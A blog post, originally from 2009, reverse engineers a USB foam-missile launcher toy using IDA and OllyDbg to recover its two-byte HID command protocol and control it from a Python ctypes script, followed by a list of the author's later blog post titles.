So we have EDX=0 at the top, moved into a global DWORD variable @48E510. Next we see the address of our string being pushed to LoadLibrary() and subsequently the return value transferred from EAX into a global DWORD variable @48E514, this is the handle to the loaded DLL. An error check is made to ensure the library exists then the resolved handle and the string "OpenHID", the relevant function to resolve, is pushed to GetProcAddress(). The resolved function pointer is transferred from EAX into a global DWORD variable @48E510. We can press 'n' on both of these global variables to rename them to say 'h_USBHID' and 'OpenHID' respectively. Now let's find out where OpenHID is called from, again examine cross-references by hitting 'x' when the cursor is on top of 'OpenHID'. There are 4 references. Two references from the above snippet which are assigning the variable and two CALL references from the function @00403B64. Here is the first:

.text:00403B64 000     push ebp
.text:00403B65 004     mov ebp, esp
.text:00403B67 004     mov eax, [ebp+arg_0]
.text:00403B6A 004     cmp dword ptr [eax+74h], 0FFFFFFFFh
.text:00403B6E 004     jnz short loc_403B88
.text:00403B70 004     push 1
.text:00403B72 008     push 701h
.text:00403B77 00C     push 0A81h
.text:00403B7C 010     call OpenHID
.text:00403B82 004     mov edx, [ebp+arg_0]
.text:00403B85 004     mov [edx+74h], eax
.text:00403B88
.text:00403B88     loc_403B88:

OpenHID() takes three arguments and is being called here like so:

if (eax74 == 0x0FFFFFFFF)
{
    eax74 = OpenHID(0x0A81, 0x0701, 1);
}

The first argument is the HID Vendor ID (VID), 0x0A81. The second argument is the HID Product ID (PID), 0x0701. The code here opens a handle to the USB Missile Launcher HID if it hasn't already been done. Just a few lines later in the deadlisting we see a WriteFile() operation on the opened handle:

.text:00403B88 004     mov ecx, [ebp+arg_0]
.text:00403B8B 004     mov byte ptr [ecx+46h], 0
.text:00403B8F 004     mov eax, [ebp+arg_0]
.text:00403B92 004     mov edx, [eax+68h]
.text:00403B95 004     or  byte ptr [edx], 40h
.text:00403B98 004     push 0                       ; lpOverlapped
.text:00403B9A 008     mov ecx, [ebp+arg_0]
.text:00403B9D 008     add ecx, 6Ch
.text:00403BA0 008     push ecx                     ; lpNumberOfBytesWritten
.text:00403BA1 00C     push 2                       ; nNumberOfBytesToWrite
.text:00403BA3 010     mov eax, [ebp+arg_0]
.text:00403BA6 010     add eax, 45h
.text:00403BA9 010     push eax                     ; lpBuffer
.text:00403BAA 014     mov edx, [ebp+arg_0]
.text:00403BAD 014     push dword ptr [edx+74h]     ; hFile
.text:00403BB0 018     call WriteFile

The function we are examining takes a single argument, which is a pointer to a structure which contains the data to be written at offset 0x45. The length of the data is 2, the value of the nNumberOfBytesToWrite argument to WriteFile(). At this point we know that we can easily open a handle to the USB Missile Launcher via USBHID.OpenHID() and then we can use WriteFile() to write data to it and likely ReadFile() to read data back. The next step is to figure out the protocol and there are a number of ways we can go about doing this. One method is to use USB sniffing software such as SniffUSB. Here is a screenshot of SniffUSB in action:

Note that in this screenshot I've already installed the filter control on the HID specific to the USB Missile Launcher. The red arrows highlight the VID/PID values we found earlier within MissileLauncher.exe from the call to OpenHID(). Another way to determine which VID/PID combination maps to the specific HID you are looking for is to unplug the device, hit refresh, then plug it back, hit refresh and see what new row pops up. Once the filter control is installed on your target HID, you must unplug/replug to activate it then you can start interacting with the MissileLauncher.exe GUI and examine the data going across from the UsbSnoop.log file in your Windows directory.

I took a different approach. I decided to 'sniff' the protocol via debugger hooks on ReadFile() / WriteFile(). Load MissileLauncher.exe into OllyDbg and hit F9 to let the program run and the GUI start. Once the GUI is running pull up the modules list with 'Alt-e', select kernel32 and hit 'Ctrl-n' to pull up its list of contained names. Start typing out "writefile" to pull up the appropriate entry then hit 'Shift-F4' to set a condition log breakpoint. A dialogue box appears, for the row labeled "Log function arguments", select the "Always" column radio control. This is a pretty neat feature of OllyDbg by the way, it won't work for any API, just the ones OllyDbg knows about. Repeat the process for "readfile". Hit 'Alt+l' to bring up the log window then hit a button in the MissileLauncher.exe GUI and you should receive log output resembling the following:

7C810E17   CALL to WriteFile from MissileL.00403BB0
             hFile = 000001A8 (window)
             Buffer = 00B6395D
             nBytesToWrite = 2
             pBytesWritten = 00B63984
             pOverlapped = NULL
7C810E17   CALL to WriteFile from MissileL.00404248
             hFile = 000001A8 (window)
             Buffer = 00B6395D
             nBytesToWrite = 2
             pBytesWritten = 00B63984
             pOverlapped = NULL
7C801812   CALL to ReadFile from MissileL.00404265
             hFile = 000001A8 (window)
             Buffer = 00B63954
             BytesToRead = 2
             pBytesRead = 00B63984
             pOverlapped = NULL
7C810E17   CALL to WriteFile from MissileL.004042D0
             hFile = 000001A8 (window)
             Buffer = 00B6395D
             nBytesToWrite = 2
             pBytesWritten = 00B63984
             pOverlapped = NULL
7C810E17   CALL to WriteFile from MissileL.00404316
             hFile = 000001A8 (window)
             Buffer = 00B6395D
             nBytesToWrite = 2
             pBytesWritten = 00B63984
             pOverlapped = NULL
7C801812   CALL to ReadFile from MissileL.0040433A
             hFile = 000001A8 (window)
             Buffer = 00B63954
             BytesToRead = 2
             pBytesRead = 00B63984
             pOverlapped = NULL
7C810E17   CALL to WriteFile from MissileL.00404357
             hFile = 000001A8 (window)
             Buffer = 00B6395D
             nBytesToWrite = 2
             pBytesWritten = 00B63984
             pOverlapped = NULL
7C801812   CALL to ReadFile from MissileL.00404374
             hFile = 000001A8 (window)
             Buffer = 00B63954
             BytesToRead = 2
             pBytesRead = 00B63984
             pOverlapped = NULL
7C810E17   CALL to WriteFile from MissileL.0040453F
             hFile = 000001A8 (window)
             Buffer = 00B6395D
             nBytesToWrite = 2
             pBytesWritten = 00B63984
             pOverlapped = NULL

Let's take this one step further and extract the 2-byte data value being written to the HID handle by extending the conditional log breakpoint on WriteFile. Press 'Alt+b' to bring up the breakpoints window, next drag out the 'Address' column with the mouse to reveal the DLL and API names in addition to the address (there is a lot of "hidden" data like this in various OllyDbg columns). Right click the breakpoint for WriteFile and select "Edit condition", the dialogue from earlier should pop back up. In the second row, for explanation put something like "buffer" and for expression enter "word ptr [[esp+8]]", this will dereference and display the 2-bytes being written from the second argument of WriteFile(). Next for the row that reads "Log value of expression", select the "Always" column radio control. Now when we interact with the MissileLauncher.exe GUI we should get log entries like this in addition to the ReadFile() / WriteFile() call / argument logs:

7C810E17     COND: buffer = 4000
7C810E17     COND: buffer = 4000
7C810E17     COND: buffer = 0800
7C810E17     COND: buffer = 4000
7C810E17     COND: buffer = 4000
7C810E17     COND: buffer = 2000

There are two steps left for decoding the protocol now. One we have to hit each button in the MissileLauncher.exe GUI and take note of the data being written to the HID handle and two, we have to pay attention to the order of reads and writes on the handle and mimick it in our own program. Running through these steps we can conclude the following protocol (from my finished Python script, to be linked later):

self.cmd_map    = \
{
    "down"  : 0x01,
    "up"    : 0x02,
    "left"  : 0x04,
    "right" : 0x08,
    "fire"  : 0x10,
    "stop"  : 0x20,
    "start" : 0x40,
}

The 'start' and 'stop' commands are control codes for putting the device into and out of action. Taking note of the read / write order we conclude the following general pattern:

write(start)
read()
write(command)
loop write(start) / read() while we want command to execute
write(stop)

No we're ready to start coding some Python. We'll rely on the ctypes library to call USBHID.OpenHID(), kernel32.ReadFile() and kernel32.WriteFile(). The kernel32 routines are exposed through ctypes.windll, for OpenHID() we can load the library and call the function like so:

self.hid        = ctypes.WinDLL(r"C:\Program Files\USB Missile Launcher\usbhid.dll")
self.launcher   = self.hid.OpenHID(0x0a81, 0x701, 1)

The various commands being written to the HID handle must be in the appropriate endianess (thanks ) and stored in a ctypes string buffer, like so:

start   = ctypes.create_string_buffer(struct.pack(">h", self.cmd_map["start"]))
command = ctypes.create_string_buffer(struct.pack(">h", self.cmd_map[cmd.lower()]))
stop    = ctypes.create_string_buffer(struct.pack(">h", self.cmd_map["stop"]))

The rest is up to your imagination. You can download my code, ped_missile.py, which implements a class for controlling the USB Missile Launcher as well as exposes three interfaces on top of that class. A command line interface, a socket server (protected by a password hardcoded on line 264) and a simple web interface. The web interface is fun for usage through the iPhone in conjunction with the 8$ application AirCam from Senstic.

One interesting thing is that we have a lot more granular control of the turret movement now then we did with the original GUI. I wrote two simple loops to count the number of possible horizontal and vertical ticks and the results were 947 horizontal and 91 vertical versus 54 and 10 from the original GUI respectively. Granular control allows you to slowly and quietly reposition the turret for stealthy attacks. I also started writing a class function missile.reset() to center the device automatically but haven't finished it quite yet. Take a look at the source for further information. Everything should be fairly self explanatory.

I'll conclude with an action video put together with the help of my teammates Ali, Cameron and Cody:

Originally published 2009-02-12 on the TippingPoint DVLabs blog.

Pedram Amini - Blog

10.16.2026: The Laptop That Hacks Back

What It Does

How It Works

Is That You, Pedram?

What Broke Along the Way

Build Your Own

08.22.2026: Hermanos Amini Art Project

06.18.2026: CodeTV Hackathon Post Mortem

03.27.2026: I Gave My AI Agent a Blog

12.17.2025: Maestro - Agent Orchestration Command Center

08.07.2024: Latest Chapter

06.05.2024: Mozilla 0Din.ai GenAI Bug Bounty

04.10.2024: 100 Days of YARA 2024: It's a Wrap

Second Half Contributions

Other YARA News

Further Resources

02.19.2024: 100 Days of YARA 2024: Halfway Point

Large Contributions

Myriad of Highlights

Further Resources

06.20.2023: Cowsay, Sticky Note Edition

06.23.2022: Follina, the Latest in a Long Chain of Microsoft Office Exploits

A Deeper Look

Further Resources

Public Proof-of-Concepts (PoC):

Real-world Malware Samples:

Indicators of Compromise (IOCs):

Free On-Demand Webinar: Think Before You Click

05.06.2020: ZLoader 4.0 Macrosheets Evolution

Initial Samples, Low Detection Rates

An Effective Detection Anchor

Obfuscated Macrosheet

YARA Hunt Rule, Samples, Shunting

Relationship Graphing

Additional Observations and IOCs

03.18.2020: Getting Sneakier: Hidden Sheets, Data Connections, and XLM Macros

Introduction

Analysis of Document One: inv-27101.xls

Analysis of Document Two: Invoice85005.xls

Detection and Mitigation

Optical Character Recognition (OCR)

Suspicious Attributes

IOCs

09.30.2019: Adobe XMP: Tales of an Overlooked Anchor

Introduction

Background

Application and Alternatives

Microsoft Office DOCX with PNG

Microsoft Office DOCX with JPG

More Interesting Pivots

Language

Impersonation

Wrapping Up...

07.03.2019: Emotet, Unmasking via Machine Learning

Emotet

Family-1

Family-2

Family-3

Family-4

Free Email Hygiene Analysis

01.29.2019: Extracting "Sneaky" Excel XLM Macros

04.19.2018: Walkthrough of a Common Malware Carrier

04.17.2018: GandCrab Swarm

Macro Dropper

JavaScript Dropper

Second Stage Payloads

Source ASNs

Carrier Samples

Detection

Further Reading

02.07.2018: Adobe Flash MediaPlayer DRM Use-After-Free Vulnerability

Detection

IOCs

References (chronological)

Free On-Demand Webinar: Think Before You Click

10.14.2017: Microsoft Office DDE Lures: SEC OMB, Freddie Mac and Vortex Ransomware

SEC OMB Approval Lure

Freddie Mac Targeted Lure

Update 10/17/2017